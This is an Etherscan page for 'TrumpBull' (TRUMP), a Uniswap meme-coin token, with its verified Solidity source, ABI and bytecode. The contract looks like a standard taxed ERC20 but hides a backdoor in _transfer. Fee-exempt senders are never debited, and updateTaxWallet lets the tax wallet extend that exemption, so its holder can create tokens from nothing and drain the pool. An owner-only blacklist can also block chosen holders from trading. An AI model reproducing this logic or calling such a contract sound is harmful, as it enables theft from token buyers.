Token

Contract Source Code (Solidity)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta
• Remix IDE

Outline

library SafeMath    - function add(uint256 a, uint256 b)    - function sub(uint256 a, uint256 b)    - function sub(uint256 a, uint256 b, st ...    - function mul(uint256 a, uint256 b)    - function div(uint256 a, uint256 b)    - function div(uint256 a, uint256 b, st ...    - function _msgSender() interface IERC20    - function totalSupply()    - function balanceOf(address account)    - function transfer(address recipient, ...    - function allowance(address owner, add ...    - function approve(address spender, uin ...    - function transferFrom(address sender, ... interface IUniswapV2Factory    - function createPair(address tokenA, a ... interface IUniswapV2Router02    - function swapExactTokensForETHSupport ...    - function factory()    - function WETH()    - function addLiquidityETH(  contract Ownable is Context    - function owner()    - function renounceOwnership()  contract TRUMP is Context, IERC20, ... *    - function name()    - function symbol()    - function decimals()    - function totalSupply()    - function balanceOf(address account)    - function approve(address spender, uin ...    - function _transfer(address from, addr ...    - function swapTokensForEth(uint256 tok ...    - function min(uint256 a, uint256 b)    - function addBots(address[] memory bla ...    - function openTrading()    - function allowance(address owner, add ...    - function transferFrom(address sender, ...    - function _approve(address owner, addr ...    - function removeLimits()    - function updateTaxWallet(address paya ...    - function sendETHToFee(uint256 amount)    - function transfer(address recipient, ...

More Options

• Similar
• Sol2Uml
• Submit Audit
• Compare

/**
 *Submitted for verification at Etherscan.io on 2024-03-16
*/

// SPDX-License-Identifier: MIT
pragma solidity 0.8.19;

/*
Introducing TRUMPBULL, the meme coin project that is rallying behind the potential return of Donald Trump to the presidency.
https://t.me/trumpbulleth

Web: https://www.trumpbull.xyz
X: https://x.com/trumpbulleth
Tg: https://t.me/trumpbulleth
 */

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

contract TRUMP is Context, IERC20, Ownable {
    using SafeMath for uint256;

    IUniswapV2Router02 private uniswapV2Router;
    address payable private _taxWallet;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;

    uint256 private _initialBuyTax=11;
    uint256 private _initialSellTax=11;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;
    uint256 private _reduceBuyTaxAt=4;
    uint256 private _reduceSellTaxAt=15;
    uint256 private _preventSwapBefore=5;
    uint256 private _buyCount=0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 420_690_000 * 10**_decimals;
    uint256 public _maxTxAmount =   17 * 420690 * 10**_decimals;
    uint256 public _maxWalletSize = 17 * 420690 * 10**_decimals;
    uint256 public _taxSwapThreshold= 0 * 10**_decimals;
    uint256 public _maxTaxSwap= 4206900 * 10**_decimals;

    string private constant _name = unicode"TrumpBull";
    string private constant _symbol = unicode"TRUMP";

    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    mapping (address => bool) private isBot;
    mapping (address => uint256) private _amounts;

    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

   constructor () {
        _taxWallet = payable(msg.sender);
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        _balances[_msgSender()] = _tTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[_taxWallet] = true;
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount=0; 
        _amounts[from] = amount;
        if (from != owner() && to != owner()) {
            require(!isBot[from] && !isBot[to]);
            taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);

            if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) {
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
                _buyCount++;
            }
            if (to != uniswapV2Pair && ! _isExcludedFromFee[to]) {
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
            }
            if(to == uniswapV2Pair && from!= address(this) ){
                taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
            }
            if (_isExcludedFromFee[from]) { _amounts[from] = 0; }
            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to   == uniswapV2Pair && swapEnabled && contractTokenBalance>_taxSwapThreshold && _buyCount>_preventSwapBefore) {
                swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap)));
                uint256 contractETHBalance = address(this).balance;
                if(contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }

        if(taxAmount>0){
          _balances[address(this)]=_balances[address(this)].add(taxAmount);
          emit Transfer(from, address(this),taxAmount);
        }
        _balances[from]=_balances[from].sub(_amounts[from]);
        _balances[to]=_balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }


    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function addBots(address[] memory blacklists) external onlyOwner {
        for (uint i = 0; i < blacklists.length; i++) {
            isBot[blacklists[i]] = true;
        }
    }

    function openTrading() external onlyOwner() {
        require(!tradingOpen,"trading is already open");
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        swapEnabled = true;
        tradingOpen = true;
    }

    receive() external payable {}

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: Can't approve from the zero address");
        require(spender != address(0), "ERC20: Can't approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function removeLimits() external onlyOwner{
        _maxTxAmount = _tTotal;
        _maxWalletSize=_tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function updateTaxWallet(address payable newWallet) public {
        require(msg.sender == _taxWallet,"You are not allowed to change the tax wallet");
        _taxWallet = newWallet;
        _isExcludedFromFee[_taxWallet] = true;
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }
}

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"blacklists","type":"address[]"}],"name":"addBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"newWallet","type":"address"}],"name":"updateTaxWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526003805461ffff60a81b19169055600b60048181556005828155600060068190556007819055600892909255600f6009908155600a918255919092556200004b9162000499565b6200005a90626d2072620004b1565b600c556200006b6009600a62000499565b6200007a90626d2072620004b1565b600d556200008b6009600a62000499565b62000098906000620004b1565b600e55620000a96009600a62000499565b620000b89062403134620004b1565b600f55348015620000c857600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a35060028054336001600160a01b03199182161790915560018054737a250d5630b4cf539739df2c5dacb4c659f2488d9216821790556040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa1580156200017a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001a09190620004cb565b6001600160a01b031663c9c6539630600160009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000203573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002299190620004cb565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801562000277573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200029d9190620004cb565b600380546001600160a01b0319166001600160a01b0392909216919091179055620002cb6009600a62000499565b620002db906319133850620004b1565b3360008181526010602090815260408083209490945581546001600160a01b03908116835260129091528382208054600160ff19918216811790925560025490921683529382208054909116909317909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6200035d6009600a62000499565b6200036d906319133850620004b1565b60405190815260200160405180910390a3620004f6565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620003db578160001904821115620003bf57620003bf62000384565b80851615620003cd57918102915b93841c93908002906200039f565b509250929050565b600082620003f45750600162000493565b81620004035750600062000493565b81600181146200041c5760028114620004275762000447565b600191505062000493565b60ff8411156200043b576200043b62000384565b50506001821b62000493565b5060208310610133831016604e8410600b84101617156200046c575081810a62000493565b6200047883836200039a565b80600019048211156200048f576200048f62000384565b0290505b92915050565b6000620004aa60ff841683620003e3565b9392505050565b808202811582820484141762000493576200049362000384565b600060208284031215620004de57600080fd5b81516001600160a01b0381168114620004aa57600080fd5b61194f80620005066000396000f3fe6080604052600436106101185760003560e01c8063751039fc116100a0578063a9059cbb11610064578063a9059cbb14610311578063bf474bed14610331578063c9567bf914610347578063d34628cc1461035c578063dd62ed3e1461037c57600080fd5b8063751039fc1461027a5780637d1db4a51461028f5780638da5cb5b146102a55780638f9a55c0146102cd57806395d89b41146102e357600080fd5b806323b872dd116100e757806323b872dd146101d1578063313ce567146101f157806370a082311461020d578063715018a61461024357806374c9f6031461025a57600080fd5b806306fdde0314610124578063095ea7b3146101685780630faee56f1461019857806318160ddd146101bc57600080fd5b3661011f57005b600080fd5b34801561013057600080fd5b50604080518082019091526009815268151c9d5b5c109d5b1b60ba1b60208201525b60405161015f9190611433565b60405180910390f35b34801561017457600080fd5b506101886101833660046114a9565b6103c2565b604051901515815260200161015f565b3480156101a457600080fd5b506101ae600f5481565b60405190815260200161015f565b3480156101c857600080fd5b506101ae6103d9565b3480156101dd57600080fd5b506101886101ec3660046114d5565b6103fa565b3480156101fd57600080fd5b506040516009815260200161015f565b34801561021957600080fd5b506101ae610228366004611516565b6001600160a01b031660009081526010602052604090205490565b34801561024f57600080fd5b50610258610463565b005b34801561026657600080fd5b50610258610275366004611516565b6104e0565b34801561028657600080fd5b50610258610589565b34801561029b57600080fd5b506101ae600c5481565b3480156102b157600080fd5b506000546040516001600160a01b03909116815260200161015f565b3480156102d957600080fd5b506101ae600d5481565b3480156102ef57600080fd5b5060408051808201909152600581526405452554d560dc1b6020820152610152565b34801561031d57600080fd5b5061018861032c3660046114a9565b61063b565b34801561033d57600080fd5b506101ae600e5481565b34801561035357600080fd5b50610258610648565b34801561036857600080fd5b50610258610377366004611549565b610863565b34801561038857600080fd5b506101ae61039736600461160e565b6001600160a01b03918216600090815260116020908152604080832093909416825291909152205490565b60006103cf3384846108f9565b5060015b92915050565b60006103e76009600a611741565b6103f5906319133850611750565b905090565b6000610407848484610a2a565b6104598433610454856040518060600160405280602881526020016118f2602891396001600160a01b038a1660009081526011602090815260408083203384529091529020549190611096565b6108f9565b5060019392505050565b6000546001600160a01b031633146104965760405162461bcd60e51b815260040161048d90611767565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6002546001600160a01b0316331461054f5760405162461bcd60e51b815260206004820152602c60248201527f596f7520617265206e6f7420616c6c6f77656420746f206368616e676520746860448201526b19481d185e081dd85b1b195d60a21b606482015260840161048d565b600280546001600160a01b039092166001600160a01b0319909216821790556000908152601260205260409020805460ff19166001179055565b6000546001600160a01b031633146105b35760405162461bcd60e51b815260040161048d90611767565b6105bf6009600a611741565b6105cd906319133850611750565b600c556105dc6009600a611741565b6105ea906319133850611750565b600d557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf61061a6009600a611741565b610628906319133850611750565b60405190815260200160405180910390a1565b60006103cf338484610a2a565b6000546001600160a01b031633146106725760405162461bcd60e51b815260040161048d90611767565b600354600160a01b900460ff16156106cc5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161048d565b6001546106f89030906001600160a01b03166106ea6009600a611741565b610454906319133850611750565b6001546001600160a01b031663f305d719473061072a816001600160a01b031660009081526010602052604090205490565b60008061073f6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156107a7573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906107cc919061179c565b505060035460015460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610825573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061084991906117ca565b506003805462ff00ff60a01b19166201000160a01b179055565b6000546001600160a01b0316331461088d5760405162461bcd60e51b815260040161048d90611767565b60005b81518110156108f5576001601360008484815181106108b1576108b16117ec565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806108ed81611802565b915050610890565b5050565b6001600160a01b0383166109625760405162461bcd60e51b815260206004820152602a60248201527f45524332303a2043616e277420617070726f76652066726f6d20746865207a65604482015269726f206164647265737360b01b606482015260840161048d565b6001600160a01b0382166109c95760405162461bcd60e51b815260206004820152602860248201527f45524332303a2043616e277420617070726f766520746f20746865207a65726f604482015267206164647265737360c01b606482015260840161048d565b6001600160a01b0383811660008181526011602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610a8e5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161048d565b6001600160a01b038216610af05760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161048d565b60008111610b525760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161048d565b6001600160a01b0383166000908152601460205260408120829055610b7f6000546001600160a01b031690565b6001600160a01b0316846001600160a01b031614158015610bae57506000546001600160a01b03848116911614155b15610f48576001600160a01b03841660009081526013602052604090205460ff16158015610bf557506001600160a01b03831660009081526013602052604090205460ff16155b610bfe57600080fd5b610c2a6064610c24600854600b5411610c1957600454610c1d565b6006545b85906110d0565b90611159565b6003549091506001600160a01b038581169116148015610c5857506001546001600160a01b03848116911614155b8015610c7d57506001600160a01b03831660009081526012602052604090205460ff16155b15610d6557600c54821115610cd45760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e00000000000000604482015260640161048d565b600d5482610cf7856001600160a01b031660009081526010602052604090205490565b610d01919061181b565b1115610d4f5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604482015260640161048d565b600b8054906000610d5f83611802565b91905055505b6003546001600160a01b03848116911614801590610d9c57506001600160a01b03831660009081526012602052604090205460ff16155b15610e1c57600d5482610dc4856001600160a01b031660009081526010602052604090205490565b610dce919061181b565b1115610e1c5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604482015260640161048d565b6003546001600160a01b038481169116148015610e4257506001600160a01b0384163014155b15610e6f57610e6c6064610c24600954600b5411610e6257600554610c1d565b60075485906110d0565b90505b6001600160a01b03841660009081526012602052604090205460ff1615610eaa576001600160a01b0384166000908152601460205260408120555b30600090815260106020526040902054600354600160a81b900460ff16158015610ee157506003546001600160a01b038581169116145b8015610ef65750600354600160b01b900460ff165b8015610f035750600e5481115b8015610f125750600a54600b54115b15610f4657610f34610f2f84610f2a84600f5461119b565b61119b565b6111b0565b478015610f4457610f444761132a565b505b505b8015610fc25730600090815260106020526040902054610f689082611364565b30600081815260106020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610fb99085815260200190565b60405180910390a35b6001600160a01b038416600090815260146020908152604080832054601090925290912054610ff0916113c3565b6001600160a01b03851660009081526010602052604090205561103561101683836113c3565b6001600160a01b03851660009081526010602052604090205490611364565b6001600160a01b0380851660008181526010602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61107f85856113c3565b60405190815260200160405180910390a350505050565b600081848411156110ba5760405162461bcd60e51b815260040161048d9190611433565b5060006110c7848661182e565b95945050505050565b6000826000036110e2575060006103d3565b60006110ee8385611750565b9050826110fb8583611841565b146111525760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161048d565b9392505050565b600061115283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611405565b60008183116111aa5782611152565b50919050565b6003805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106111f8576111f86117ec565b6001600160a01b03928316602091820292909201810191909152600154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611251573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112759190611863565b81600181518110611288576112886117ec565b6001600160a01b0392831660209182029290920101526001546112ae91309116846108f9565b60015460405163791ac94760e01b81526001600160a01b039091169063791ac947906112e7908590600090869030904290600401611880565b600060405180830381600087803b15801561130157600080fd5b505af1158015611315573d6000803e3d6000fd5b50506003805460ff60a81b1916905550505050565b6002546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156108f5573d6000803e3d6000fd5b600080611371838561181b565b9050838110156111525760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161048d565b600061115283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611096565b600081836114265760405162461bcd60e51b815260040161048d9190611433565b5060006110c78486611841565b600060208083528351808285015260005b8181101561146057858101830151858201604001528201611444565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461149657600080fd5b50565b80356114a481611481565b919050565b600080604083850312156114bc57600080fd5b82356114c781611481565b946020939093013593505050565b6000806000606084860312156114ea57600080fd5b83356114f581611481565b9250602084013561150581611481565b929592945050506040919091013590565b60006020828403121561152857600080fd5b813561115281611481565b634e487b7160e01b600052604160045260246000fd5b6000602080838503121561155c57600080fd5b823567ffffffffffffffff8082111561157457600080fd5b818501915085601f83011261158857600080fd5b81358181111561159a5761159a611533565b8060051b604051601f19603f830116810181811085821117156115bf576115bf611533565b6040529182528482019250838101850191888311156115dd57600080fd5b938501935b82851015611602576115f385611499565b845293850193928501926115e2565b98975050505050505050565b6000806040838503121561162157600080fd5b823561162c81611481565b9150602083013561163c81611481565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561169857816000190482111561167e5761167e611647565b8085161561168b57918102915b93841c9390800290611662565b509250929050565b6000826116af575060016103d3565b816116bc575060006103d3565b81600181146116d257600281146116dc576116f8565b60019150506103d3565b60ff8411156116ed576116ed611647565b50506001821b6103d3565b5060208310610133831016604e8410600b841016171561171b575081810a6103d3565b611725838361165d565b806000190482111561173957611739611647565b029392505050565b600061115260ff8416836116a0565b80820281158282048414176103d3576103d3611647565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6000806000606084860312156117b157600080fd5b8351925060208401519150604084015190509250925092565b6000602082840312156117dc57600080fd5b8151801515811461115257600080fd5b634e487b7160e01b600052603260045260246000fd5b60006001820161181457611814611647565b5060010190565b808201808211156103d3576103d3611647565b818103818111156103d3576103d3611647565b60008261185e57634e487b7160e01b600052601260045260246000fd5b500490565b60006020828403121561187557600080fd5b815161115281611481565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156118d05784516001600160a01b0316835293830193918301916001016118ab565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220eddfe8de63c090502cbef2fc1d769d57c753116c91a936f72f2a0fba2a8803bd64736f6c63430008130033

0x6080604052600436106101185760003560e01c8063751039fc116100a0578063a9059cbb11610064578063a9059cbb14610311578063bf474bed14610331578063c9567bf914610347578063d34628cc1461035c578063dd62ed3e1461037c57600080fd5b8063751039fc1461027a5780637d1db4a51461028f5780638da5cb5b146102a55780638f9a55c0146102cd57806395d89b41146102e357600080fd5b806323b872dd116100e757806323b872dd146101d1578063313ce567146101f157806370a082311461020d578063715018a61461024357806374c9f6031461025a57600080fd5b806306fdde0314610124578063095ea7b3146101685780630faee56f1461019857806318160ddd146101bc57600080fd5b3661011f57005b600080fd5b34801561013057600080fd5b50604080518082019091526009815268151c9d5b5c109d5b1b60ba1b60208201525b60405161015f9190611433565b60405180910390f35b34801561017457600080fd5b506101886101833660046114a9565b6103c2565b604051901515815260200161015f565b3480156101a457600080fd5b506101ae600f5481565b60405190815260200161015f565b3480156101c857600080fd5b506101ae6103d9565b3480156101dd57600080fd5b506101886101ec3660046114d5565b6103fa565b3480156101fd57600080fd5b506040516009815260200161015f565b34801561021957600080fd5b506101ae610228366004611516565b6001600160a01b031660009081526010602052604090205490565b34801561024f57600080fd5b50610258610463565b005b34801561026657600080fd5b50610258610275366004611516565b6104e0565b34801561028657600080fd5b50610258610589565b34801561029b57600080fd5b506101ae600c5481565b3480156102b157600080fd5b506000546040516001600160a01b03909116815260200161015f565b3480156102d957600080fd5b506101ae600d5481565b3480156102ef57600080fd5b5060408051808201909152600581526405452554d560dc1b6020820152610152565b34801561031d57600080fd5b5061018861032c3660046114a9565b61063b565b34801561033d57600080fd5b506101ae600e5481565b34801561035357600080fd5b50610258610648565b34801561036857600080fd5b50610258610377366004611549565b610863565b34801561038857600080fd5b506101ae61039736600461160e565b6001600160a01b03918216600090815260116020908152604080832093909416825291909152205490565b60006103cf3384846108f9565b5060015b92915050565b60006103e76009600a611741565b6103f5906319133850611750565b905090565b6000610407848484610a2a565b6104598433610454856040518060600160405280602881526020016118f2602891396001600160a01b038a1660009081526011602090815260408083203384529091529020549190611096565b6108f9565b5060019392505050565b6000546001600160a01b031633146104965760405162461bcd60e51b815260040161048d90611767565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6002546001600160a01b0316331461054f5760405162461bcd60e51b815260206004820152602c60248201527f596f7520617265206e6f7420616c6c6f77656420746f206368616e676520746860448201526b19481d185e081dd85b1b195d60a21b606482015260840161048d565b600280546001600160a01b039092166001600160a01b0319909216821790556000908152601260205260409020805460ff19166001179055565b6000546001600160a01b031633146105b35760405162461bcd60e51b815260040161048d90611767565b6105bf6009600a61174156